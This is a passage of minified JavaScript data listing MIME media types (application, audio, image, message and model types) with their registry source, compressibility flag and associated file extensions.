d.visio":{source:"iana",extensions:["vsd","vst","vss","vsw"]},"application/vnd.visionary":{source:"iana",extensions:["vis"]},"application/vnd.vividence.scriptfile":{source:"iana"},"application/vnd.vsf":{source:"iana",extensions:["vsf"]},"application/vnd.wap.sic":{source:"iana"},"application/vnd.wap.slc":{source:"iana"},"application/vnd.wap.wbxml":{source:"iana",charset:"UTF-8",extensions:["wbxml"]},"application/vnd.wap.wmlc":{source:"iana",extensions:["wmlc"]},"application/vnd.wap.wmlscriptc":{source:"iana",extensions:["wmlsc"]},"application/vnd.webturbo":{source:"iana",extensions:["wtb"]},"application/vnd.wfa.dpp":{source:"iana"},"application/vnd.wfa.p2p":{source:"iana"},"application/vnd.wfa.wsc":{source:"iana"},"application/vnd.windows.devicepairing":{source:"iana"},"application/vnd.wmc":{source:"iana"},"application/vnd.wmf.bootstrap":{source:"iana"},"application/vnd.wolfram.mathematica":{source:"iana"},"application/vnd.wolfram.mathematica.package":{source:"iana"},"application/vnd.wolfram.player":{source:"iana",extensions:["nbp"]},"application/vnd.wordperfect":{source:"iana",extensions:["wpd"]},"application/vnd.wqd":{source:"iana",extensions:["wqd"]},"application/vnd.wrq-hp3000-labelled":{source:"iana"},"application/vnd.wt.stf":{source:"iana",extensions:["stf"]},"application/vnd.wv.csp+wbxml":{source:"iana"},"application/vnd.wv.csp+xml":{source:"iana",compressible:!0},"application/vnd.wv.ssp+xml":{source:"iana",compressible:!0},"application/vnd.xacml+json":{source:"iana",compressible:!0},"application/vnd.xara":{source:"iana",extensions:["xar"]},"application/vnd.xfdl":{source:"iana",extensions:["xfdl"]},"application/vnd.xfdl.webform":{source:"iana"},"application/vnd.xmi+xml":{source:"iana",compressible:!0},"application/vnd.xmpie.cpkg":{source:"iana"},"application/vnd.xmpie.dpkg":{source:"iana"},"application/vnd.xmpie.plan":{source:"iana"},"application/vnd.xmpie.ppkg":{source:"iana"},"application/vnd.xmpie.xlim":{source:"iana"},"application/vnd.yamaha.hv-dic":{source:"iana",extensions:["hvd"]},"application/vnd.yamaha.hv-script":{source:"iana",extensions:["hvs"]},"application/vnd.yamaha.hv-voice":{source:"iana",extensions:["hvp"]},"application/vnd.yamaha.openscoreformat":{source:"iana",extensions:["osf"]},"application/vnd.yamaha.openscoreformat.osfpvg+xml":{source:"iana",compressible:!0,extensions:["osfpvg"]},"application/vnd.yamaha.remote-setup":{source:"iana"},"application/vnd.yamaha.smaf-audio":{source:"iana",extensions:["saf"]},"application/vnd.yamaha.smaf-phrase":{source:"iana",extensions:["spf"]},"application/vnd.yamaha.through-ngn":{source:"iana"},"application/vnd.yamaha.tunnel-udpencap":{source:"iana"},"application/vnd.yaoweme":{source:"iana"},"application/vnd.yellowriver-custom-menu":{source:"iana",extensions:["cmp"]},"application/vnd.youtube.yt":{source:"iana"},"application/vnd.zul":{source:"iana",extensions:["zir","zirz"]},"application/vnd.zzazz.deck+xml":{source:"iana",compressible:!0,extensions:["zaz"]},"application/voicexml+xml":{source:"iana",compressible:!0,extensions:["vxml"]},"application/voucher-cms+json":{source:"iana",compressible:!0},"application/vq-rtcpxr":{source:"iana"},"application/wasm":{source:"iana",compressible:!0,extensions:["wasm"]},"application/watcherinfo+xml":{source:"iana",compressible:!0,extensions:["wif"]},"application/webpush-options+json":{source:"iana",compressible:!0},"application/whoispp-query":{source:"iana"},"application/whoispp-response":{source:"iana"},"application/widget":{source:"iana",extensions:["wgt"]},"application/winhlp":{source:"apache",extensions:["hlp"]},"application/wita":{source:"iana"},"application/wordperfect5.1":{source:"iana"},"application/wsdl+xml":{source:"iana",compressible:!0,extensions:["wsdl"]},"application/wspolicy+xml":{source:"iana",compressible:!0,extensions:["wspolicy"]},"application/x-7z-compressed":{source:"apache",compressible:!1,extensions:["7z"]},"application/x-abiword":{source:"apache",extensions:["abw"]},"application/x-ace-compressed":{source:"apache",extensions:["ace"]},"application/x-amf":{source:"apache"},"application/x-apple-diskimage":{source:"apache",extensions:["dmg"]},"application/x-arj":{compressible:!1,extensions:["arj"]},"application/x-authorware-bin":{source:"apache",extensions:["aab","x32","u32","vox"]},"application/x-authorware-map":{source:"apache",extensions:["aam"]},"application/x-authorware-seg":{source:"apache",extensions:["aas"]},"application/x-bcpio":{source:"apache",extensions:["bcpio"]},"application/x-bdoc":{compressible:!1,extensions:["bdoc"]},"application/x-bittorrent":{source:"apache",extensions:["torrent"]},"application/x-blorb":{source:"apache",extensions:["blb","blorb"]},"application/x-bzip":{source:"apache",compressible:!1,extensions:["bz"]},"application/x-bzip2":{source:"apache",compressible:!1,extensions:["bz2","boz"]},"application/x-cbr":{source:"apache",extensions:["cbr","cba","cbt","cbz","cb7"]},"application/x-cdlink":{source:"apache",extensions:["vcd"]},"application/x-cfs-compressed":{source:"apache",extensions:["cfs"]},"application/x-chat":{source:"apache",extensions:["chat"]},"application/x-chess-pgn":{source:"apache",extensions:["pgn"]},"application/x-chrome-extension":{extensions:["crx"]},"application/x-cocoa":{source:"nginx",extensions:["cco"]},"application/x-compress":{source:"apache"},"application/x-conference":{source:"apache",extensions:["nsc"]},"application/x-cpio":{source:"apache",extensions:["cpio"]},"application/x-csh":{source:"apache",extensions:["csh"]},"application/x-deb":{compressible:!1},"application/x-debian-package":{source:"apache",extensions:["deb","udeb"]},"application/x-dgc-compressed":{source:"apache",extensions:["dgc"]},"application/x-director":{source:"apache",extensions:["dir","dcr","dxr","cst","cct","cxt","w3d","fgd","swa"]},"application/x-doom":{source:"apache",extensions:["wad"]},"application/x-dtbncx+xml":{source:"apache",compressible:!0,extensions:["ncx"]},"application/x-dtbook+xml":{source:"apache",compressible:!0,extensions:["dtb"]},"application/x-dtbresource+xml":{source:"apache",compressible:!0,extensions:["res"]},"application/x-dvi":{source:"apache",compressible:!1,extensions:["dvi"]},"application/x-envoy":{source:"apache",extensions:["evy"]},"application/x-eva":{source:"apache",extensions:["eva"]},"application/x-font-bdf":{source:"apache",extensions:["bdf"]},"application/x-font-dos":{source:"apache"},"application/x-font-framemaker":{source:"apache"},"application/x-font-ghostscript":{source:"apache",extensions:["gsf"]},"application/x-font-libgrx":{source:"apache"},"application/x-font-linux-psf":{source:"apache",extensions:["psf"]},"application/x-font-pcf":{source:"apache",extensions:["pcf"]},"application/x-font-snf":{source:"apache",extensions:["snf"]},"application/x-font-speedo":{source:"apache"},"application/x-font-sunos-news":{source:"apache"},"application/x-font-type1":{source:"apache",extensions:["pfa","pfb","pfm","afm"]},"application/x-font-vfont":{source:"apache"},"application/x-freearc":{source:"apache",extensions:["arc"]},"application/x-futuresplash":{source:"apache",extensions:["spl"]},"application/x-gca-compressed":{source:"apache",extensions:["gca"]},"application/x-glulx":{source:"apache",extensions:["ulx"]},"application/x-gnumeric":{source:"apache",extensions:["gnumeric"]},"application/x-gramps-xml":{source:"apache",extensions:["gramps"]},"application/x-gtar":{source:"apache",extensions:["gtar"]},"application/x-gzip":{source:"apache"},"application/x-hdf":{source:"apache",extensions:["hdf"]},"application/x-httpd-php":{compressible:!0,extensions:["php"]},"application/x-install-instructions":{source:"apache",extensions:["install"]},"application/x-iso9660-image":{source:"apache",extensions:["iso"]},"application/x-iwork-keynote-sffkey":{extensions:["key"]},"application/x-iwork-numbers-sffnumbers":{extensions:["numbers"]},"application/x-iwork-pages-sffpages":{extensions:["pages"]},"application/x-java-archive-diff":{source:"nginx",extensions:["jardiff"]},"application/x-java-jnlp-file":{source:"apache",compressible:!1,extensions:["jnlp"]},"application/x-javascript":{compressible:!0},"application/x-keepass2":{extensions:["kdbx"]},"application/x-latex":{source:"apache",compressible:!1,extensions:["latex"]},"application/x-lua-bytecode":{extensions:["luac"]},"application/x-lzh-compressed":{source:"apache",extensions:["lzh","lha"]},"application/x-makeself":{source:"nginx",extensions:["run"]},"application/x-mie":{source:"apache",extensions:["mie"]},"application/x-mobipocket-ebook":{source:"apache",extensions:["prc","mobi"]},"application/x-mpegurl":{compressible:!1},"application/x-ms-application":{source:"apache",extensions:["application"]},"application/x-ms-shortcut":{source:"apache",extensions:["lnk"]},"application/x-ms-wmd":{source:"apache",extensions:["wmd"]},"application/x-ms-wmz":{source:"apache",extensions:["wmz"]},"application/x-ms-xbap":{source:"apache",extensions:["xbap"]},"application/x-msaccess":{source:"apache",extensions:["mdb"]},"application/x-msbinder":{source:"apache",extensions:["obd"]},"application/x-mscardfile":{source:"apache",extensions:["crd"]},"application/x-msclip":{source:"apache",extensions:["clp"]},"application/x-msdos-program":{extensions:["exe"]},"application/x-msdownload":{source:"apache",extensions:["exe","dll","com","bat","msi"]},"application/x-msmediaview":{source:"apache",extensions:["mvb","m13","m14"]},"application/x-msmetafile":{source:"apache",extensions:["wmf","wmz","emf","emz"]},"application/x-msmoney":{source:"apache",extensions:["mny"]},"application/x-mspublisher":{source:"apache",extensions:["pub"]},"application/x-msschedule":{source:"apache",extensions:["scd"]},"application/x-msterminal":{source:"apache",extensions:["trm"]},"application/x-mswrite":{source:"apache",extensions:["wri"]},"application/x-netcdf":{source:"apache",extensions:["nc","cdf"]},"application/x-ns-proxy-autoconfig":{compressible:!0,extensions:["pac"]},"application/x-nzb":{source:"apache",extensions:["nzb"]},"application/x-perl":{source:"nginx",extensions:["pl","pm"]},"application/x-pilot":{source:"nginx",extensions:["prc","pdb"]},"application/x-pkcs12":{source:"apache",compressible:!1,extensions:["p12","pfx"]},"application/x-pkcs7-certificates":{source:"apache",extensions:["p7b","spc"]},"application/x-pkcs7-certreqresp":{source:"apache",extensions:["p7r"]},"application/x-pki-message":{source:"iana"},"application/x-rar-compressed":{source:"apache",compressible:!1,extensions:["rar"]},"application/x-redhat-package-manager":{source:"nginx",extensions:["rpm"]},"application/x-research-info-systems":{source:"apache",extensions:["ris"]},"application/x-sea":{source:"nginx",extensions:["sea"]},"application/x-sh":{source:"apache",compressible:!0,extensions:["sh"]},"application/x-shar":{source:"apache",extensions:["shar"]},"application/x-shockwave-flash":{source:"apache",compressible:!1,extensions:["swf"]},"application/x-silverlight-app":{source:"apache",extensions:["xap"]},"application/x-sql":{source:"apache",extensions:["sql"]},"application/x-stuffit":{source:"apache",compressible:!1,extensions:["sit"]},"application/x-stuffitx":{source:"apache",extensions:["sitx"]},"application/x-subrip":{source:"apache",extensions:["srt"]},"application/x-sv4cpio":{source:"apache",extensions:["sv4cpio"]},"application/x-sv4crc":{source:"apache",extensions:["sv4crc"]},"application/x-t3vm-image":{source:"apache",extensions:["t3"]},"application/x-tads":{source:"apache",extensions:["gam"]},"application/x-tar":{source:"apache",compressible:!0,extensions:["tar"]},"application/x-tcl":{source:"apache",extensions:["tcl","tk"]},"application/x-tex":{source:"apache",extensions:["tex"]},"application/x-tex-tfm":{source:"apache",extensions:["tfm"]},"application/x-texinfo":{source:"apache",extensions:["texinfo","texi"]},"application/x-tgif":{source:"apache",extensions:["obj"]},"application/x-ustar":{source:"apache",extensions:["ustar"]},"application/x-virtualbox-hdd":{compressible:!0,extensions:["hdd"]},"application/x-virtualbox-ova":{compressible:!0,extensions:["ova"]},"application/x-virtualbox-ovf":{compressible:!0,extensions:["ovf"]},"application/x-virtualbox-vbox":{compressible:!0,extensions:["vbox"]},"application/x-virtualbox-vbox-extpack":{compressible:!1,extensions:["vbox-extpack"]},"application/x-virtualbox-vdi":{compressible:!0,extensions:["vdi"]},"application/x-virtualbox-vhd":{compressible:!0,extensions:["vhd"]},"application/x-virtualbox-vmdk":{compressible:!0,extensions:["vmdk"]},"application/x-wais-source":{source:"apache",extensions:["src"]},"application/x-web-app-manifest+json":{compressible:!0,extensions:["webapp"]},"application/x-www-form-urlencoded":{source:"iana",compressible:!0},"application/x-x509-ca-cert":{source:"iana",extensions:["der","crt","pem"]},"application/x-x509-ca-ra-cert":{source:"iana"},"application/x-x509-next-ca-cert":{source:"iana"},"application/x-xfig":{source:"apache",extensions:["fig"]},"application/x-xliff+xml":{source:"apache",compressible:!0,extensions:["xlf"]},"application/x-xpinstall":{source:"apache",compressible:!1,extensions:["xpi"]},"application/x-xz":{source:"apache",extensions:["xz"]},"application/x-zmachine":{source:"apache",extensions:["z1","z2","z3","z4","z5","z6","z7","z8"]},"application/x400-bp":{source:"iana"},"application/xacml+xml":{source:"iana",compressible:!0},"application/xaml+xml":{source:"apache",compressible:!0,extensions:["xaml"]},"application/xcap-att+xml":{source:"iana",compressible:!0,extensions:["xav"]},"application/xcap-caps+xml":{source:"iana",compressible:!0,extensions:["xca"]},"application/xcap-diff+xml":{source:"iana",compressible:!0,extensions:["xdf"]},"application/xcap-el+xml":{source:"iana",compressible:!0,extensions:["xel"]},"application/xcap-error+xml":{source:"iana",compressible:!0},"application/xcap-ns+xml":{source:"iana",compressible:!0,extensions:["xns"]},"application/xcon-conference-info+xml":{source:"iana",compressible:!0},"application/xcon-conference-info-diff+xml":{source:"iana",compressible:!0},"application/xenc+xml":{source:"iana",compressible:!0,extensions:["xenc"]},"application/xhtml+xml":{source:"iana",compressible:!0,extensions:["xhtml","xht"]},"application/xhtml-voice+xml":{source:"apache",compressible:!0},"application/xliff+xml":{source:"iana",compressible:!0,extensions:["xlf"]},"application/xml":{source:"iana",compressible:!0,extensions:["xml","xsl","xsd","rng"]},"application/xml-dtd":{source:"iana",compressible:!0,extensions:["dtd"]},"application/xml-external-parsed-entity":{source:"iana"},"application/xml-patch+xml":{source:"iana",compressible:!0},"application/xmpp+xml":{source:"iana",compressible:!0},"application/xop+xml":{source:"iana",compressible:!0,extensions:["xop"]},"application/xproc+xml":{source:"apache",compressible:!0,extensions:["xpl"]},"application/xslt+xml":{source:"iana",compressible:!0,extensions:["xsl","xslt"]},"application/xspf+xml":{source:"apache",compressible:!0,extensions:["xspf"]},"application/xv+xml":{source:"iana",compressible:!0,extensions:["mxml","xhvml","xvml","xvm"]},"application/yang":{source:"iana",extensions:["yang"]},"application/yang-data+json":{source:"iana",compressible:!0},"application/yang-data+xml":{source:"iana",compressible:!0},"application/yang-patch+json":{source:"iana",compressible:!0},"application/yang-patch+xml":{source:"iana",compressible:!0},"application/yin+xml":{source:"iana",compressible:!0,extensions:["yin"]},"application/zip":{source:"iana",compressible:!1,extensions:["zip"]},"application/zlib":{source:"iana"},"application/zstd":{source:"iana"},"audio/1d-interleaved-parityfec":{source:"iana"},"audio/32kadpcm":{source:"iana"},"audio/3gpp":{source:"iana",compressible:!1,extensions:["3gpp"]},"audio/3gpp2":{source:"iana"},"audio/aac":{source:"iana"},"audio/ac3":{source:"iana"},"audio/adpcm":{source:"apache",extensions:["adp"]},"audio/amr":{source:"iana",extensions:["amr"]},"audio/amr-wb":{source:"iana"},"audio/amr-wb+":{source:"iana"},"audio/aptx":{source:"iana"},"audio/asc":{source:"iana"},"audio/atrac-advanced-lossless":{source:"iana"},"audio/atrac-x":{source:"iana"},"audio/atrac3":{source:"iana"},"audio/basic":{source:"iana",compressible:!1,extensions:["au","snd"]},"audio/bv16":{source:"iana"},"audio/bv32":{source:"iana"},"audio/clearmode":{source:"iana"},"audio/cn":{source:"iana"},"audio/dat12":{source:"iana"},"audio/dls":{source:"iana"},"audio/dsr-es201108":{source:"iana"},"audio/dsr-es202050":{source:"iana"},"audio/dsr-es202211":{source:"iana"},"audio/dsr-es202212":{source:"iana"},"audio/dv":{source:"iana"},"audio/dvi4":{source:"iana"},"audio/eac3":{source:"iana"},"audio/encaprtp":{source:"iana"},"audio/evrc":{source:"iana"},"audio/evrc-qcp":{source:"iana"},"audio/evrc0":{source:"iana"},"audio/evrc1":{source:"iana"},"audio/evrcb":{source:"iana"},"audio/evrcb0":{source:"iana"},"audio/evrcb1":{source:"iana"},"audio/evrcnw":{source:"iana"},"audio/evrcnw0":{source:"iana"},"audio/evrcnw1":{source:"iana"},"audio/evrcwb":{source:"iana"},"audio/evrcwb0":{source:"iana"},"audio/evrcwb1":{source:"iana"},"audio/evs":{source:"iana"},"audio/flexfec":{source:"iana"},"audio/fwdred":{source:"iana"},"audio/g711-0":{source:"iana"},"audio/g719":{source:"iana"},"audio/g722":{source:"iana"},"audio/g7221":{source:"iana"},"audio/g723":{source:"iana"},"audio/g726-16":{source:"iana"},"audio/g726-24":{source:"iana"},"audio/g726-32":{source:"iana"},"audio/g726-40":{source:"iana"},"audio/g728":{source:"iana"},"audio/g729":{source:"iana"},"audio/g7291":{source:"iana"},"audio/g729d":{source:"iana"},"audio/g729e":{source:"iana"},"audio/gsm":{source:"iana"},"audio/gsm-efr":{source:"iana"},"audio/gsm-hr-08":{source:"iana"},"audio/ilbc":{source:"iana"},"audio/ip-mr_v2.5":{source:"iana"},"audio/isac":{source:"apache"},"audio/l16":{source:"iana"},"audio/l20":{source:"iana"},"audio/l24":{source:"iana",compressible:!1},"audio/l8":{source:"iana"},"audio/lpc":{source:"iana"},"audio/melp":{source:"iana"},"audio/melp1200":{source:"iana"},"audio/melp2400":{source:"iana"},"audio/melp600":{source:"iana"},"audio/mhas":{source:"iana"},"audio/midi":{source:"apache",extensions:["mid","midi","kar","rmi"]},"audio/mobile-xmf":{source:"iana",extensions:["mxmf"]},"audio/mp3":{compressible:!1,extensions:["mp3"]},"audio/mp4":{source:"iana",compressible:!1,extensions:["m4a","mp4a"]},"audio/mp4a-latm":{source:"iana"},"audio/mpa":{source:"iana"},"audio/mpa-robust":{source:"iana"},"audio/mpeg":{source:"iana",compressible:!1,extensions:["mpga","mp2","mp2a","mp3","m2a","m3a"]},"audio/mpeg4-generic":{source:"iana"},"audio/musepack":{source:"apache"},"audio/ogg":{source:"iana",compressible:!1,extensions:["oga","ogg","spx","opus"]},"audio/opus":{source:"iana"},"audio/parityfec":{source:"iana"},"audio/pcma":{source:"iana"},"audio/pcma-wb":{source:"iana"},"audio/pcmu":{source:"iana"},"audio/pcmu-wb":{source:"iana"},"audio/prs.sid":{source:"iana"},"audio/qcelp":{source:"iana"},"audio/raptorfec":{source:"iana"},"audio/red":{source:"iana"},"audio/rtp-enc-aescm128":{source:"iana"},"audio/rtp-midi":{source:"iana"},"audio/rtploopback":{source:"iana"},"audio/rtx":{source:"iana"},"audio/s3m":{source:"apache",extensions:["s3m"]},"audio/scip":{source:"iana"},"audio/silk":{source:"apache",extensions:["sil"]},"audio/smv":{source:"iana"},"audio/smv-qcp":{source:"iana"},"audio/smv0":{source:"iana"},"audio/sofa":{source:"iana"},"audio/sp-midi":{source:"iana"},"audio/speex":{source:"iana"},"audio/t140c":{source:"iana"},"audio/t38":{source:"iana"},"audio/telephone-event":{source:"iana"},"audio/tetra_acelp":{source:"iana"},"audio/tetra_acelp_bb":{source:"iana"},"audio/tone":{source:"iana"},"audio/tsvcis":{source:"iana"},"audio/uemclip":{source:"iana"},"audio/ulpfec":{source:"iana"},"audio/usac":{source:"iana"},"audio/vdvi":{source:"iana"},"audio/vmr-wb":{source:"iana"},"audio/vnd.3gpp.iufp":{source:"iana"},"audio/vnd.4sb":{source:"iana"},"audio/vnd.audiokoz":{source:"iana"},"audio/vnd.celp":{source:"iana"},"audio/vnd.cisco.nse":{source:"iana"},"audio/vnd.cmles.radio-events":{source:"iana"},"audio/vnd.cns.anp1":{source:"iana"},"audio/vnd.cns.inf1":{source:"iana"},"audio/vnd.dece.audio":{source:"iana",extensions:["uva","uvva"]},"audio/vnd.digital-winds":{source:"iana",extensions:["eol"]},"audio/vnd.dlna.adts":{source:"iana"},"audio/vnd.dolby.heaac.1":{source:"iana"},"audio/vnd.dolby.heaac.2":{source:"iana"},"audio/vnd.dolby.mlp":{source:"iana"},"audio/vnd.dolby.mps":{source:"iana"},"audio/vnd.dolby.pl2":{source:"iana"},"audio/vnd.dolby.pl2x":{source:"iana"},"audio/vnd.dolby.pl2z":{source:"iana"},"audio/vnd.dolby.pulse.1":{source:"iana"},"audio/vnd.dra":{source:"iana",extensions:["dra"]},"audio/vnd.dts":{source:"iana",extensions:["dts"]},"audio/vnd.dts.hd":{source:"iana",extensions:["dtshd"]},"audio/vnd.dts.uhd":{source:"iana"},"audio/vnd.dvb.file":{source:"iana"},"audio/vnd.everad.plj":{source:"iana"},"audio/vnd.hns.audio":{source:"iana"},"audio/vnd.lucent.voice":{source:"iana",extensions:["lvp"]},"audio/vnd.ms-playready.media.pya":{source:"iana",extensions:["pya"]},"audio/vnd.nokia.mobile-xmf":{source:"iana"},"audio/vnd.nortel.vbk":{source:"iana"},"audio/vnd.nuera.ecelp4800":{source:"iana",extensions:["ecelp4800"]},"audio/vnd.nuera.ecelp7470":{source:"iana",extensions:["ecelp7470"]},"audio/vnd.nuera.ecelp9600":{source:"iana",extensions:["ecelp9600"]},"audio/vnd.octel.sbc":{source:"iana"},"audio/vnd.presonus.multitrack":{source:"iana"},"audio/vnd.qcelp":{source:"iana"},"audio/vnd.rhetorex.32kadpcm":{source:"iana"},"audio/vnd.rip":{source:"iana",extensions:["rip"]},"audio/vnd.rn-realaudio":{compressible:!1},"audio/vnd.sealedmedia.softseal.mpeg":{source:"iana"},"audio/vnd.vmx.cvsd":{source:"iana"},"audio/vnd.wave":{compressible:!1},"audio/vorbis":{source:"iana",compressible:!1},"audio/vorbis-config":{source:"iana"},"audio/wav":{compressible:!1,extensions:["wav"]},"audio/wave":{compressible:!1,extensions:["wav"]},"audio/webm":{source:"apache",compressible:!1,extensions:["weba"]},"audio/x-aac":{source:"apache",compressible:!1,extensions:["aac"]},"audio/x-aiff":{source:"apache",extensions:["aif","aiff","aifc"]},"audio/x-caf":{source:"apache",compressible:!1,extensions:["caf"]},"audio/x-flac":{source:"apache",extensions:["flac"]},"audio/x-m4a":{source:"nginx",extensions:["m4a"]},"audio/x-matroska":{source:"apache",extensions:["mka"]},"audio/x-mpegurl":{source:"apache",extensions:["m3u"]},"audio/x-ms-wax":{source:"apache",extensions:["wax"]},"audio/x-ms-wma":{source:"apache",extensions:["wma"]},"audio/x-pn-realaudio":{source:"apache",extensions:["ram","ra"]},"audio/x-pn-realaudio-plugin":{source:"apache",extensions:["rmp"]},"audio/x-realaudio":{source:"nginx",extensions:["ra"]},"audio/x-tta":{source:"apache"},"audio/x-wav":{source:"apache",extensions:["wav"]},"audio/xm":{source:"apache",extensions:["xm"]},"chemical/x-cdx":{source:"apache",extensions:["cdx"]},"chemical/x-cif":{source:"apache",extensions:["cif"]},"chemical/x-cmdf":{source:"apache",extensions:["cmdf"]},"chemical/x-cml":{source:"apache",extensions:["cml"]},"chemical/x-csml":{source:"apache",extensions:["csml"]},"chemical/x-pdb":{source:"apache"},"chemical/x-xyz":{source:"apache",extensions:["xyz"]},"font/collection":{source:"iana",extensions:["ttc"]},"font/otf":{source:"iana",compressible:!0,extensions:["otf"]},"font/sfnt":{source:"iana"},"font/ttf":{source:"iana",compressible:!0,extensions:["ttf"]},"font/woff":{source:"iana",extensions:["woff"]},"font/woff2":{source:"iana",extensions:["woff2"]},"image/aces":{source:"iana",extensions:["exr"]},"image/apng":{compressible:!1,extensions:["apng"]},"image/avci":{source:"iana",extensions:["avci"]},"image/avcs":{source:"iana",extensions:["avcs"]},"image/avif":{source:"iana",compressible:!1,extensions:["avif"]},"image/bmp":{source:"iana",compressible:!0,extensions:["bmp"]},"image/cgm":{source:"iana",extensions:["cgm"]},"image/dicom-rle":{source:"iana",extensions:["drle"]},"image/emf":{source:"iana",extensions:["emf"]},"image/fits":{source:"iana",extensions:["fits"]},"image/g3fax":{source:"iana",extensions:["g3"]},"image/gif":{source:"iana",compressible:!1,extensions:["gif"]},"image/heic":{source:"iana",extensions:["heic"]},"image/heic-sequence":{source:"iana",extensions:["heics"]},"image/heif":{source:"iana",extensions:["heif"]},"image/heif-sequence":{source:"iana",extensions:["heifs"]},"image/hej2k":{source:"iana",extensions:["hej2"]},"image/hsj2":{source:"iana",extensions:["hsj2"]},"image/ief":{source:"iana",extensions:["ief"]},"image/jls":{source:"iana",extensions:["jls"]},"image/jp2":{source:"iana",compressible:!1,extensions:["jp2","jpg2"]},"image/jpeg":{source:"iana",compressible:!1,extensions:["jpeg","jpg","jpe"]},"image/jph":{source:"iana",extensions:["jph"]},"image/jphc":{source:"iana",extensions:["jhc"]},"image/jpm":{source:"iana",compressible:!1,extensions:["jpm"]},"image/jpx":{source:"iana",compressible:!1,extensions:["jpx","jpf"]},"image/jxr":{source:"iana",extensions:["jxr"]},"image/jxra":{source:"iana",extensions:["jxra"]},"image/jxrs":{source:"iana",extensions:["jxrs"]},"image/jxs":{source:"iana",extensions:["jxs"]},"image/jxsc":{source:"iana",extensions:["jxsc"]},"image/jxsi":{source:"iana",extensions:["jxsi"]},"image/jxss":{source:"iana",extensions:["jxss"]},"image/ktx":{source:"iana",extensions:["ktx"]},"image/ktx2":{source:"iana",extensions:["ktx2"]},"image/naplps":{source:"iana"},"image/pjpeg":{compressible:!1},"image/png":{source:"iana",compressible:!1,extensions:["png"]},"image/prs.btif":{source:"iana",extensions:["btif"]},"image/prs.pti":{source:"iana",extensions:["pti"]},"image/pwg-raster":{source:"iana"},"image/sgi":{source:"apache",extensions:["sgi"]},"image/svg+xml":{source:"iana",compressible:!0,extensions:["svg","svgz"]},"image/t38":{source:"iana",extensions:["t38"]},"image/tiff":{source:"iana",compressible:!1,extensions:["tif","tiff"]},"image/tiff-fx":{source:"iana",extensions:["tfx"]},"image/vnd.adobe.photoshop":{source:"iana",compressible:!0,extensions:["psd"]},"image/vnd.airzip.accelerator.azv":{source:"iana",extensions:["azv"]},"image/vnd.cns.inf2":{source:"iana"},"image/vnd.dece.graphic":{source:"iana",extensions:["uvi","uvvi","uvg","uvvg"]},"image/vnd.djvu":{source:"iana",extensions:["djvu","djv"]},"image/vnd.dvb.subtitle":{source:"iana",extensions:["sub"]},"image/vnd.dwg":{source:"iana",extensions:["dwg"]},"image/vnd.dxf":{source:"iana",extensions:["dxf"]},"image/vnd.fastbidsheet":{source:"iana",extensions:["fbs"]},"image/vnd.fpx":{source:"iana",extensions:["fpx"]},"image/vnd.fst":{source:"iana",extensions:["fst"]},"image/vnd.fujixerox.edmics-mmr":{source:"iana",extensions:["mmr"]},"image/vnd.fujixerox.edmics-rlc":{source:"iana",extensions:["rlc"]},"image/vnd.globalgraphics.pgb":{source:"iana"},"image/vnd.microsoft.icon":{source:"iana",compressible:!0,extensions:["ico"]},"image/vnd.mix":{source:"iana"},"image/vnd.mozilla.apng":{source:"iana"},"image/vnd.ms-dds":{compressible:!0,extensions:["dds"]},"image/vnd.ms-modi":{source:"iana",extensions:["mdi"]},"image/vnd.ms-photo":{source:"apache",extensions:["wdp"]},"image/vnd.net-fpx":{source:"iana",extensions:["npx"]},"image/vnd.pco.b16":{source:"iana",extensions:["b16"]},"image/vnd.radiance":{source:"iana"},"image/vnd.sealed.png":{source:"iana"},"image/vnd.sealedmedia.softseal.gif":{source:"iana"},"image/vnd.sealedmedia.softseal.jpg":{source:"iana"},"image/vnd.svf":{source:"iana"},"image/vnd.tencent.tap":{source:"iana",extensions:["tap"]},"image/vnd.valve.source.texture":{source:"iana",extensions:["vtf"]},"image/vnd.wap.wbmp":{source:"iana",extensions:["wbmp"]},"image/vnd.xiff":{source:"iana",extensions:["xif"]},"image/vnd.zbrush.pcx":{source:"iana",extensions:["pcx"]},"image/webp":{source:"apache",extensions:["webp"]},"image/wmf":{source:"iana",extensions:["wmf"]},"image/x-3ds":{source:"apache",extensions:["3ds"]},"image/x-cmu-raster":{source:"apache",extensions:["ras"]},"image/x-cmx":{source:"apache",extensions:["cmx"]},"image/x-freehand":{source:"apache",extensions:["fh","fhc","fh4","fh5","fh7"]},"image/x-icon":{source:"apache",compressible:!0,extensions:["ico"]},"image/x-jng":{source:"nginx",extensions:["jng"]},"image/x-mrsid-image":{source:"apache",extensions:["sid"]},"image/x-ms-bmp":{source:"nginx",compressible:!0,extensions:["bmp"]},"image/x-pcx":{source:"apache",extensions:["pcx"]},"image/x-pict":{source:"apache",extensions:["pic","pct"]},"image/x-portable-anymap":{source:"apache",extensions:["pnm"]},"image/x-portable-bitmap":{source:"apache",extensions:["pbm"]},"image/x-portable-graymap":{source:"apache",extensions:["pgm"]},"image/x-portable-pixmap":{source:"apache",extensions:["ppm"]},"image/x-rgb":{source:"apache",extensions:["rgb"]},"image/x-tga":{source:"apache",extensions:["tga"]},"image/x-xbitmap":{source:"apache",extensions:["xbm"]},"image/x-xcf":{compressible:!1},"image/x-xpixmap":{source:"apache",extensions:["xpm"]},"image/x-xwindowdump":{source:"apache",extensions:["xwd"]},"message/cpim":{source:"iana"},"message/delivery-status":{source:"iana"},"message/disposition-notification":{source:"iana",extensions:["disposition-notification"]},"message/external-body":{source:"iana"},"message/feedback-report":{source:"iana"},"message/global":{source:"iana",extensions:["u8msg"]},"message/global-delivery-status":{source:"iana",extensions:["u8dsn"]},"message/global-disposition-notification":{source:"iana",extensions:["u8mdn"]},"message/global-headers":{source:"iana",extensions:["u8hdr"]},"message/http":{source:"iana",compressible:!1},"message/imdn+xml":{source:"iana",compressible:!0},"message/news":{source:"iana"},"message/partial":{source:"iana",compressible:!1},"message/rfc822":{source:"iana",compressible:!0,extensions:["eml","mime"]},"message/s-http":{source:"iana"},"message/sip":{source:"iana"},"message/sipfrag":{source:"iana"},"message/tracking-status":{source:"iana"},"message/vnd.si.simp":{source:"iana"},"message/vnd.wfa.wsc":{source:"iana",extensions:["wsc"]},"model/3mf":{source:"iana",extensions:["3mf"]},"model/e57":{source:"iana"},"model/gltf+json":{source:"iana",compressible:!0,extensions:["gltf"]},"model/gltf-binary":{source:"iana",compressible:!0,extensions:["glb"]},"model/iges":{source:"iana",compressible:!1,extensions:["igs","iges"]},"model/mesh":{source:"iana",compressible:!1,extensions:["msh","mesh","silo"]},"model/mtl":{source:"iana",extensions:["mtl"]},"model/obj":{source:"iana",extensions:["obj"]},"model/step":{source:"iana"},"model/step+xml":{source:"iana",compressible:!0,extensions:["stpx"]},"model/step+zi